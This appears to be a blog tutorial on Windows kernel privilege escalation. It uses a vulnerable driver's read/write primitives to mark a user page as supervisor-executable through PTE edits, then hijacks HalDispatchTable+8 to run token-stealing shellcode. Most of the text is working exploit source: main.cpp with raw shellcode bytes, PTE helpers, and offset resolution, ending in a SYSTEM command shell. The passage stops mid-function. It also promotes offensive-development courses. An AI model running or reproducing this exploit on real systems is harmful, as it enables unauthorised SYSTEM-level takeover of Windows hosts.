Kernel Shellcode Execution via PTE Manipulation and HalDispatchTable
Welcome to this new Medium post, today we are looking at this technique: use a vulnerable driver’s read/write primitives to promote a usermode page to supervisor executable via PTE manipulation, then…

Welcome to this new Medium post, today we are looking at this technique: use a vulnerable driver’s read/write primitives to promote a usermode page to supervisor executable via PTE manipulation, then redirect HalDispatchTable to execute a shellcode in ring-0

Want to go deeper into Windows offensive development?
Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.
Introduction
PTE manipulation: Every virtual address is backed by a Page Table Entry that controls access permissions. Looks like this:
//0x8 bytes (sizeof)
struct _MMPTE_HARDWARE
{
ULONGLONG Valid:1; //0x0
ULONGLONG Dirty1:1; //0x0
ULONGLONG Owner:1; //0x0
ULONGLONG WriteThrough:1; //0x0
ULONGLONG CacheDisable:1; //0x0
ULONGLONG Accessed:1; //0x0
ULONGLONG Dirty:1; //0x0
ULONGLONG LargePage:1; //0x0
ULONGLONG Global:1; //0x0
ULONGLONG CopyOnWrite:1; //0x0
ULONGLONG Unused:1; //0x0
ULONGLONG Write:1; //0x0
ULONGLONG PageFrameNumber:40; //0x0
ULONGLONG ReservedForSoftware:4; //0x0
ULONGLONG WsleAge:4; //0x0
ULONGLONG WsleProtection:3; //0x0
ULONGLONG NoExecute:1; //0x0
};
The bit 2 (Owner) controls whether the page is usermode or supervisormode. The NX bit (NoExecute) controls executability. By writing to the PTE of a usermode allocation, we can make the processor treat that page as a supervisor executable region
HalDispatchTable: The HAL Dispatch Table is a kernel structure holding function pointers invoked by certain NT routines. HalDispatchTable+8 is the entry called by NtQueryIntervalProfile via KeQueryIntervalProfile. This gives a usermode trigger for ring 0 code: overwrite the pointer, call the syscall, restore
Token stealing: The shellcode traverses ActiveProcessLinks from the System process (PID 4) until it finds our process by PID, then copies System's token into our _EPROCESS.Token field. This replaces our security context with SYSTEM's. We have done that in C code, but in this case we are just using shellcode:
Methodology
- Extract MmPteBase from the kernel image: This value is needed to translate any VA into its PTE address
- Allocate, lock, and patch the shellcode page: VirtualAlloc a PAGE_READWRITE page. VirtualLock it to prevent paging. Copy the patched shellcode into the page
- Modify the PTE, supervisor RWX: Compute the PTE address from MmPteBase and the shellcode VA. Read the current PTE value via ReadPrimitive. Clear the Owner bit (bit 2) to make it supervisor, clear the NoExecute bit (bit 63) to make it executable, set the R/W bit (bit 1). Write it back via WritePrimitive
- Overwrite HalDispatchTable+8 and trigger: Read and save the original value at ntoskrnlBase + HalDispatchTable + 8. Write the shellcode there. Call NtQueryIntervalProfile to trigger the shellcode in ring 0. Finally just restore the original value
Implementation
Resolving MmPteBase from the MiGetPteAddress stub
The MiGetPteAddress function contains a lea rax, [rip+disp32] instruction that references MmPteBase directly. We find it with this scanner:
DWORD64 ExtractMmPteBase(HANDLE drv, DWORD64 ntoskrnlBase, DWORD64 miGetPteRva) {
// MiGetPteAddress contains: lea rax, [rip + offset_to_MmPteBase]
// The 4 byte RIP relative displacement is at offset 3 of the stub
DWORD64 stubVa = ntoskrnlBase + miGetPteRva;
INT32 ripDisp = 0;
ReadPrimitive(drv, &ripDisp, (LPVOID)(uintptr_t)(stubVa + 3), sizeof(INT32));
// RIP at that point is stubVa + 7 (length of the lea instruction)
return stubVa + 7 + (INT64)ripDisp;
}Computing the PTE address
DWORD64 GetPteAddress(DWORD64 mmPteBase, DWORD64 va) {
return mmPteBase + ((va >> 9) & 0x7FFFFFFFF8ULL);
}Formula: shift the VA right 9, mask to 39 bits, scale by 8 (PTE size), add MmPteBase
Marking the page supervisor RWX
bool MakePageKernelRwx(HANDLE drv, DWORD64 shellcodeVa, DWORD64 mmPteBase) {
DWORD64 pteVa = GetPteAddress(mmPteBase, shellcodeVa);
DWORD64 pte = 0;
ReadPrimitive(drv, &pte, (LPVOID)(uintptr_t)pteVa, sizeof(DWORD64));
pte &= ~(1ULL << 2); // clear U/S (Owner) supervisor
pte &= ~(1ULL << 63); // clear NX, executable
pte |= (1ULL << 1); // set R/W
WritePrimitive(drv, (LPVOID)(uintptr_t)pteVa, &pte, sizeof(DWORD64));
return true;
}No TLB flush is required because the shellcode is executed by the next ring 0 transition, which invalidates the TLB entry anyway.
Patching and triggering
// Patch runtime offsets into shellcode
*(DWORD*)(tokenStealingShellcode + 36) = (DWORD)g_offsets.ActiveProcessLinks;
*(DWORD*)(tokenStealingShellcode + 43) = (DWORD)g_offsets.ActiveProcessLinks;
*(DWORD*)(tokenStealingShellcode + 52) = (DWORD)g_offsets.UniqueProcessId;
*(DWORD*)(tokenStealingShellcode + 65) = (DWORD)g_offsets.Token;
*(DWORD*)(tokenStealingShellcode + 76) = (DWORD)g_offsets.Token;
memcpy(shellcodePage, tokenStealingShellcode, sizeof(tokenStealingShellcode));
// Overwrite HDT + 8
DWORD64 hdt8Va = ntoskrnlBase + off.HalDispatchTable + 8;
DWORD64 originalHdt8 = 0;
ReadPrimitive(drv, &originalHdt8, (LPVOID)(uintptr_t)hdt8Va, sizeof(DWORD64));
DWORD64 scVa = (DWORD64)shellcodePage;
WritePrimitive(drv, (LPVOID)(uintptr_t)hdt8Va, &scVa, sizeof(DWORD64));
// Trigger via NtQueryIntervalProfile
auto NtQueryIntervalProfile = (pNtQueryIntervalProfile)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile");
ULONG interval = 0;
NtQueryIntervalProfile(0x1337, &interval);
// Restore immediately
WritePrimitive(drv, (LPVOID)(uintptr_t)hdt8Va, &originalHdt8, sizeof(DWORD64));
We resolve NtQueryIntervalProfile. Profile source 0x1337 is an arbitrary non zero value. The call depth in ntoskrnl is:
NtQueryIntervalProfile → KeQueryIntervalProfile → (*HalDispatchTable[1])()
The pointer is restored immediately after the trigger to minimize exposure to PatchGuard
Code
Let’s see the full code:
main.cpp
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <TlHelp32.h>
#include <algorithm>
#include <vector>
#include "DrvOps.h"
#include "GetOffsets.h"
#include "PteOps.h"
using namespace std;
struct offsets {
ULONG64 ActiveProcessLinks;
ULONG64 UniqueProcessId;
ULONG64 ObjectTable;
ULONG64 Token;
ULONG64 PsInitialSystemProcess;
DWORD64 ObHeaderCookie;
DWORD64 MiGetPteAddressRva;
DWORD64 HalDispatchTable;
} g_offsets = {
};
typedef struct _SYSTEM_MODULE_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
struct KernelDriver {
std::string Name;
uintptr_t BaseAddress;
uint32_t Size;
};
typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
DWORD64 GetNtoskrnlBase(const std::vector<KernelDriver>& drivers) {
if (drivers.empty()) {
return 0;
}
for (const auto& drv : drivers) {
std::string nameLower = drv.Name;
std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);
if (nameLower.find("ntoskrnl.exe") != std::string::npos ||
nameLower.find("ntkrnl") != std::string::npos) {
return (DWORD64)drv.BaseAddress;
}
}
return 0;
}
std::vector<KernelDriver> GetSortedKernelDrivers() {
std::vector<KernelDriver> driverList;
auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation) return driverList;
ULONG len = 0;
const int SystemModuleInformation = 11;
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
std::vector<BYTE> buffer(len);
NTSTATUS status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
buffer.data(),
len,
&len
);
if (status != 0) return driverList; // STATUS_SUCCESS = 0
auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());
for (ULONG i = 0; i < mods->Count; i++) {
SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];
KernelDriver drv;
drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);
drv.Size = entry.ImageSize;
const char* nameStart = reinterpret_cast<const char*>(entry.FullPathName) + entry.OffsetToFileName;
drv.Name = std::string(nameStart);
driverList.push_back(drv);
}
std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {
return a.BaseAddress < b.BaseAddress;
});
return driverList;
}
DWORD64 getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid)
{
if (ntoskrnlBase == 0)
{
std::cerr << "Failed to find ntoskrnl.exe base address." << std::endl;
return 0;
}
DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess; // Get EPROCESS of the System process (PID 4)
cout << "PsInitialSystemProcess address " << initialSystemProcess << endl;
getchar();
// Open Driver
getchar();
// Read Primitive to get EPROCESS structure from System Process
DWORD64 systemEPROCESS = 0;
BOOL readResult = ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));
cout << "System EPROCESS: " << systemEPROCESS << endl;
// Make sure that the EPROCESS is not from the PID 4 (System)
DWORD systemPid = 0;
BOOL readPIDSystemResult = ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId), sizeof(DWORD));
cout << "System PID: " << systemPid << endl;
if (systemPid == pid) {
return systemEPROCESS; // If the target process is SYSTEM (PID 4) we already have it
}
// Walk through the whole list
DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
cout << "headList address :" << headList << endl;
// Get first process
DWORD64 firstProcess = 0;
BOOL readFirstResult = ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList, sizeof(DWORD64));
if (!readFirstResult) {
cout << "Failed getting first process" << endl;
}
cout << "First Flink: " << firstProcess << endl;
DWORD64 currentProcess = firstProcess;
int counter = 0;
getchar();
cout << "Starting while " << endl;
while (currentProcess != headList && counter < 5000) {
counter++;
DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;
cout << "Checking EPROCESS " << eprocess << endl;
// Read PID
DWORD currentPid = 0;
BOOL readPIDResult = ReadPrimitive(drv, ¤tPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), sizeof(DWORD));
if (!readPIDResult) {
cout << "Error getting current PID " << endl;
}
cout << "Current PID " << currentPid << endl;
if (currentPid == pid) {
cout << "Correct EPROCESS Found " << endl;
return eprocess;
}
// Read next one
DWORD64 nextProcess = 0;
BOOL readNextResult = ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess, sizeof(DWORD64));
if (!readNextResult) {
cout << "Error getting next result " << endl;
}
currentProcess = nextProcess;
}
cout << "PID Not found after checking all processes " << endl;
return 0;
}
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32) != FALSE);
}
CloseHandle(hSnap);
return pid;
}
BOOL EnableSeDebugPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
// Token stealing shellcode.
// Offsets patched at runtime in main() before memcpy:
// [36] = ActiveProcessLinks (mov rbx, [rax+APL])
// [43] = ActiveProcessLinks (sub rbx, APL)
// [52] = UniqueProcessId (cmp [rax+PID], 4)
// [65] = Token (mov rax, [rax+Token])
// [76] = Token (mov [rdi+Token], rax)
unsigned char tokenStealingShellcode[] = {
0x50,
0x51,
0x52,
0x53,
0x56,
0x57,
0x41, 0x50,
0x41, 0x51,
0x41, 0x52,
0x41, 0x53,
0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00,
0x48, 0x89, 0xC7,
0x48, 0x8B, 0x98, 0xD8, 0x01, 0x00, 0x00,
0x48, 0x81, 0xEB, 0xD8, 0x01, 0x00, 0x00,
0x48, 0x89, 0xD8,
0x81, 0xB8, 0xD0, 0x01, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x75, 0xE3,
0x48, 0x8B, 0x80, 0x48, 0x02, 0x00, 0x00,
0x48, 0x83, 0xE0, 0xF0,
0x48, 0x89, 0x87, 0x48, 0x02, 0x00, 0x00,
0x41, 0x5B,
0x41, 0x5A,
0x41, 0x59,
0x41, 0x58,
0x5F,
0x5E,
0x5B,
0x5A,
0x59,
0x58,
0xC3
};
typedef NTSTATUS(NTAPI* pNtQueryIntervalProfile)(
ULONG ProfileSource,
PULONG Interval
);
int main() {
cout << "Hello World!\n";
// 1. Enable SeDebugPrivilege for the current process
BOOL setPriv = EnableSeDebugPrivilege();
// 2. Get offsets
KernelOffsets off{};
if (!ResolveKernelOffsets(off)) {
printf("\n[-] Failed to resolve kernel offsets\n");
return 1;
}
printf("\n[+] Offsets resolved\n");
g_offsets.ObjectTable = off.ObjectTable;
g_offsets.Token = off.Token;
g_offsets.ActiveProcessLinks = off.ActiveProcessLinks;
g_offsets.UniqueProcessId = off.UniqueProcessId;
g_offsets.PsInitialSystemProcess = off.PsInitialSystemProcess;
g_offsets.ObHeaderCookie = off.ObHeaderCookie;
g_offsets.MiGetPteAddressRva = off.MiGetPteAddressRva;
g_offsets.HalDispatchTable = off.HalDispatchTable;
printf("ObjectTable: 0x%llX\n", (unsigned long long)g_offsets.ObjectTable);
printf("Token: 0x%llX\n", (unsigned long long)g_offsets.Token);
printf("ActiveProcessLinks: 0x%llX\n", (unsigned long long)g_offsets.ActiveProcessLinks);
printf("UniqueProcessId: 0x%llX\n", (unsigned long long)g_offsets.UniqueProcessId);
printf("PsInitialSystemProcess: 0x%llX\n", (unsigned long long)g_offsets.PsInitialSystemProcess);
printf("ObHeaderCookie: 0x%llX\n", (unsigned long long)g_offsets.ObHeaderCookie);
printf("MiGetPteAddressRva: 0x%llX\n", (unsigned long long)g_offsets.MiGetPteAddressRva);
printf("[*] HalDispatchTable RVA: 0x%llX\n", (unsigned long long)g_offsets.HalDispatchTable);
// 3. List all drivers
vector<KernelDriver> drivers = GetSortedKernelDrivers();
// 4. Get ntoskrnl.exe address
DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);
cout << "NTOSKRNL Base address " << hex << ntoskrnlBase << endl;
getchar();
HANDLE drv = openVulnDriver();
DWORD pid = GetCurrentProcessId();
DWORD64 mmPteBase = ExtractMmPteBase(drv, ntoskrnlBase, g_offsets.MiGetPteAddressRva);
if (!mmPteBase) {
printf("[-] Cannot resolve MmPteBase\n");
return 1;
}
LPVOID shellcodePage = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("[*] Shellcode VA: 0x%llX\n", (DWORD64)shellcodePage);
if (!VirtualLock(shellcodePage, 0x1000)) {
printf("VirtualLock failed (%lu)\n", GetLastError());
return false;
}
getchar();
*(DWORD*)(tokenStealingShellcode + 36) = (DWORD)g_offsets.ActiveProcessLinks;
*(DWORD*)(tokenStealingShellcode + 43) = (DWORD)g_offsets.ActiveProcessLinks;
*(DWORD*)(tokenStealingShellcode + 52) = (DWORD)g_offsets.UniqueProcessId;
*(DWORD*)(tokenStealingShellcode + 65) = (DWORD)g_offsets.Token;
*(DWORD*)(tokenStealingShellcode + 76) = (DWORD)g_offsets.Token;
memcpy(shellcodePage, tokenStealingShellcode, sizeof(tokenStealingShellcode));
printf("[+] Shellcode copied to page\n");
bool ok = MakePageKernelRwx(drv, (DWORD64)shellcodePage, mmPteBase);
if (!ok) {
printf("[-] MakePageKernelRwx failed\n");
return 1;
}
printf("[+] Page marked as Supervisor RWX\n");
printf("[*] To execute from ring 0, redirect a kernel function pointer to 0x%llX\n", (DWORD64)shellcodePage);
// Resolve HalDispatchTable+8
DWORD64 hdt8Va = ntoskrnlBase + off.HalDispatchTable + 8;
printf("[*] HalDispatchTable+8 VA: 0x%llX\n", hdt8Va);
// Save original value
DWORD64 originalHdt8 = 0;
ReadPrimitive(drv, &originalHdt8, (LPVOID)(uintptr_t)hdt8Va, sizeof(DWORD64));
printf("[*] Original HDT+8: 0x%llX\n", originalHdt8);
// Overwrite with shellcode VA
DWORD64 scVa = (DWORD64)shellcodePage;
WritePrimitive(drv, (LPVOID)(uintptr_t)hdt8Va, &scVa, sizeof(DWORD64));
printf("[+] HDT+8 overwritten with shellcode VA\n");
// Trigger via NtQueryIntervalProfile
auto NtQueryIntervalProfile = (pNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile");
ULONG interval = 0;
NtQueryIntervalProfile(0x1337, &interval);
printf("[+] NtQueryIntervalProfile triggered\n");
// Restore HDT+8
WritePrimitive(drv, (LPVOID)(uintptr_t)hdt8Va, &originalHdt8, sizeof(DWORD64));
printf("[+] HDT+8 restored\n");
// Check privileges
HANDLE hToken = nullptr;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
TOKEN_ELEVATION elev{};
DWORD sz = sizeof(elev);
GetTokenInformation(hToken, TokenElevation, &elev, sizeof(elev), &sz);
printf("[%s] Token elevation: %d\n", elev.TokenIsElevated ? "+" : "-", elev.TokenIsElevated);
CloseHandle(hToken);
// Shell
if (elev.TokenIsElevated) {
printf("[+] SYSTEM achieved, spawning cmd\n");
system("cmd.exe");
}
while (true) Sleep(1000);
return 0;
}
PteOps.h
#pragma once
#include <Windows.h>
#include <stdio.h>
#include "DrvOps.h"
static DWORD64 ExtractMmPteBase(HANDLE drv, DWORD64 ntoskrnlBase, DWORD64 miGetPteAddressRva) {
DWORD64 funcVa = ntoskrnlBase + miGetPteAddressRva;
BYTE buf[64] = {};
ReadPrimitive(drv, buf, (LPVOID)(uintptr_t)funcVa, sizeof(buf));
for (int i = 0; i < (int)sizeof(buf) - 10; i++) {
if (buf[i] == 0x48 && buf[i + 1] == 0xB8) {
DWORD64 candidate = 0;
memcpy(&candidate, &buf[i + 2], 8);
if ((candidate >> 48) == 0xFFFF) {
printf("[+] MmPteBase: 0x%llX (at offset +%d in MiGetPteAddress)\n", candidate, i);
return candidate;
}
}
}
printf("[-] MmPteBase pattern not found in MiGetPteAddress\n");
return 0;
}
static DWORD64 GetPteVa(DWORD64 targetVa, DWORD64 mmPteBase) {
return mmPteBase + ((targetVa >> 12) * 8);
}
union PTE_HARDWARE {
DWORD64 Value;
struct {
ULONGLONG Valid : 1; // bit 0 - página presente (= Present)
ULONGLONG Dirty1 : 1; // bit 1 - ojo: NO es R/W aquí
ULONGLONG Owner : 1; // bit 2 - 0=supervisor, 1=user (= U/S)
ULONGLONG WriteThrough : 1; // bit 3
ULONGLONG CacheDisable : 1; // bit 4
ULONGLONG Accessed : 1; // bit 5
ULONGLONG Dirty : 1; // bit 6
ULONGLONG LargePage : 1; // bit 7
ULONGLONG Global : 1; // bit 8
ULONGLONG CopyOnWrite : 1; // bit 9
ULONGLONG Unused : 1; // bit 10
ULONGLONG Write : 1; // bit 11 - este es el R/W real
ULONGLONG PageFrameNumber : 40; // bits 12-51
ULONGLONG ReservedForSoftware : 4;
ULONGLONG WsleAge : 4;
ULONGLONG WsleProtection : 3;
ULONGLONG NoExecute : 1; // bit 63
};
};
static PTE_HARDWARE ReadPte(HANDLE drv, DWORD64 targetVa, DWORD64 mmPteBase) {
DWORD64 pteVa = GetPteVa(targetVa, mmPteBase);
PTE_HARDWARE pte = {};
ReadPrimitive(drv, &pte, (LPVOID)(uintptr_t)pteVa, sizeof(DWORD64));
return pte;
}
static void WritePte(HANDLE drv, DWORD64 targetVa, DWORD64 mmPteBase, PTE_HARDWARE pte) {
DWORD64 pteVa = GetPteVa(targetVa, mmPteBase);
WritePrimitive(drv, (LPVOID)(uintptr_t)pteVa, &pte, sizeof(DWORD64));
}
static bool MakePageKernelRwx(HANDLE drv, DWORD64 targetVa, DWORD64 mmPteBase) {
PTE_HARDWARE pte = ReadPte(drv, targetVa, mmPteBase);
printf("[*] Original PTE for 0x%llX: 0x%016llX\n", targetVa, pte.Value);
if (!pte.Valid) {
printf("[-] PTE not present\n");
return false;
}
pte.Owner = 0; // supervisor only (ring 0)
pte.Write = 1; // writable
pte.NoExecute = 0; // executable
WritePte(drv, targetVa, mmPteBase, pte);
PTE_HARDWARE verify = ReadPte(drv, targetVa, mmPteBase);
printf("[+] PTE modified: 0x%016llX\n", verify.Value);
return true;
}
DrvOps.h
https://github.com/S12cybersecurity/HandleRedirect/blob/main/HandleRedirect/HandleRedirect/DrvOps.h
GetOffsets.h
#pragma once
#define WIN32_LEAN_AND_MEAN
#define NOMINMAX
#include <Windows.h>
#include <winhttp.h>
#include <dbghelp.h>
#include <stdio.h>
#include <string>
#include <vector>
//#include <algorithm>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "dbghelp.lib")
// Data Structures
struct PdbCodeViewInfo {
GUID Guid;
DWORD Age;
char PdbFileName[MAX_PATH];
};
struct KernelOffsets {
// EPROCESS struct field offsets (bytes from struct base)
DWORD ObjectTable;
DWORD Token;
DWORD64 ObHeaderCookie;
DWORD UniqueProcessId;
DWORD ActiveProcessLinks;
DWORD64 PsInitialSystemProcess;
DWORD64 MiGetPteAddressRva;
DWORD64 HalDispatchTable;
};
// PE Parsing
#pragma pack(push, 1)
struct CV_INFO_PDB70 {
DWORD CvSignature; // 0x53445352 = 'RSDS'
GUID Signature;
DWORD Age;
char PdbFileName[1];
};
#pragma pack(pop)
static DWORD RvaToFileOffset(PIMAGE_NT_HEADERS nt, DWORD rva) {
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (rva >= sec->VirtualAddress &&
rva < sec->VirtualAddress + sec->Misc.VirtualSize)
return rva - sec->VirtualAddress + sec->PointerToRawData;
}
return 0;
}
static bool GetPdbInfoFromPE(const char* exePath, PdbCodeViewInfo& out) {
HANDLE hFile = CreateFileA(exePath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open '%s' (err %lu)\n", exePath, GetLastError());
return false;
}
LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
bool ok = ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr)
&& rd == buf.size();
CloseHandle(hFile);
if (!ok) return false;
auto* dos = reinterpret_cast<PIMAGE_DOS_HEADER>(buf.data());
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false;
auto* nt = reinterpret_cast<PIMAGE_NT_HEADERS>(buf.data() + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return false;
auto& dd = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
if (!dd.VirtualAddress || !dd.Size) return false;
DWORD ddOff = RvaToFileOffset(nt, dd.VirtualAddress);
if (!ddOff || ddOff + dd.Size > buf.size()) return false;
int entryCount = dd.Size / sizeof(IMAGE_DEBUG_DIRECTORY);
auto* entries = reinterpret_cast<PIMAGE_DEBUG_DIRECTORY>(buf.data() + ddOff);
for (int i = 0; i < entryCount; i++) {
if (entries[i].Type != IMAGE_DEBUG_TYPE_CODEVIEW) continue;
DWORD raw = entries[i].PointerToRawData;
if (!raw) raw = RvaToFileOffset(nt, entries[i].AddressOfRawData);
if (!raw || raw >= buf.size()) continue;
auto* cv = reinterpret_cast<CV_INFO_PDB70*>(buf.data() + raw);
if (cv->CvSignature != 0x53445352) continue; // 'RSDS'
out.Guid = cv->Signature;
out.Age = cv->Age;
strncpy_s(out.PdbFileName, cv->PdbFileName, _TRUNCATE);
return true;
}
printf("[-] No CodeView RSDS entry found in PE\n");
return false;
}
// PDB Cache Validation
#pragma pack(push, 1)
struct MsfSuperBlock {
char FileMagic[0x20];
DWORD BlockSize;
DWORD FreeBlockMapBlock;
DWORD NumBlocks;
DWORD NumDirectoryBytes;
DWORD Unknown;
DWORD BlockMapAddr;
};
struct PdbInfoStreamHeader {
DWORD Version;
DWORD Signature;
DWORD Age;
GUID UniqueId;
};
#pragma pack(pop)
static bool ExtractGuidFromPdb(const char* pdbPath, GUID& outGuid) {
HANDLE hFile = CreateFileA(pdbPath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) return false;
LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr);
CloseHandle(hFile);
if (buf.size() < sizeof(MsfSuperBlock)) return false;
// MSF 7.00 magic (null-terminated string is 32 bytes including padding)
static const char kMsfMagic[] = "Microsoft C/C++ MSF 7.00\r\n\x1A""DS";
auto* sb = reinterpret_cast<MsfSuperBlock*>(buf.data());
if (memcmp(sb->FileMagic, kMsfMagic, sizeof(kMsfMagic) - 1) != 0) return false;
DWORD bs = sb->BlockSize;
DWORD nd = sb->NumDirectoryBytes;
if (!bs || !nd) return false;
DWORD nDirBlocks = (nd + bs - 1) / bs;
DWORD bmOffset = sb->BlockMapAddr * bs;
if (bmOffset >= buf.size()) return false;
// Reconstruct stream directory into contiguous buffer
auto* blockIdx = reinterpret_cast<DWORD*>(buf.data() + bmOffset);
std::vector<BYTE> dir(nd, 0);
DWORD written = 0;
for (DWORD i = 0; i < nDirBlocks; i++) {
DWORD blkOff = blockIdx[i] * bs;
if (blkOff >= buf.size()) break;
DWORD chunk = min(bs, nd - written);
memcpy(dir.data() + written, buf.data() + blkOff, chunk);
written += chunk;
}
// Directory layout: [NumStreams(4)] [StreamSizes(4*N)] [StreamBlockIndices...]
DWORD numStreams = *reinterpret_cast<DWORD*>(dir.data());
if (numStreams < 2) return false;
auto* streamSizes = reinterpret_cast<DWORD*>(dir.data() + 4);
auto* flatBlocks = reinterpret_cast<DWORD*>(dir.data() + 4 + numStreams * 4);
DWORD s0Size = streamSizes[0];
DWORD s0Blocks = (s0Size == 0xFFFFFFFF) ? 0 : (s0Size + bs - 1) / bs;
// Stream 1 first block index sits right after all of stream 0's block indices
DWORD s1BlockOff = flatBlocks[s0Blocks] * bs;
if (s1BlockOff + sizeof(PdbInfoStreamHeader) > buf.size()) return false;
outGuid = reinterpret_cast<PdbInfoStreamHeader*>(buf.data() + s1BlockOff)->UniqueId;
return true;
}
// PDB Download via WinHTTP from Microsoft Symbol Server
static std::wstring BuildSymSrvUri(const GUID& g, DWORD age, const wchar_t* pdbName) {
wchar_t guid[48];
swprintf_s(guid,
L"%08X%04X%04X%02X%02X%02X%02X%02X%02X%02X%02X%X",
g.Data1, g.Data2, g.Data3,
g.Data4[0], g.Data4[1], g.Data4[2], g.Data4[3],
g.Data4[4], g.Data4[5], g.Data4[6], g.Data4[7],
age);
std::wstring uri = L"/download/symbols/";
uri += pdbName; uri += L"/";
uri += guid; uri += L"/";
uri += pdbName;
return uri;
}
static bool DownloadPdb(const GUID& guid, DWORD age, const wchar_t* pdbNameW, const char* outPath) {
std::wstring uri = BuildSymSrvUri(guid, age, pdbNameW);
printf("[*] Downloading: https://msdl.microsoft.com%ls\n", uri.c_str());
HINTERNET hSess = WinHttpOpen(L"PDBOffsets/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSess) { printf("[-] WinHttpOpen failed (%lu)\n", GetLastError()); return false; }
HINTERNET hConn = WinHttpConnect(hSess, L"msdl.microsoft.com",
INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hReq = hConn ? WinHttpOpenRequest(hConn, L"GET", uri.c_str(),
nullptr, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
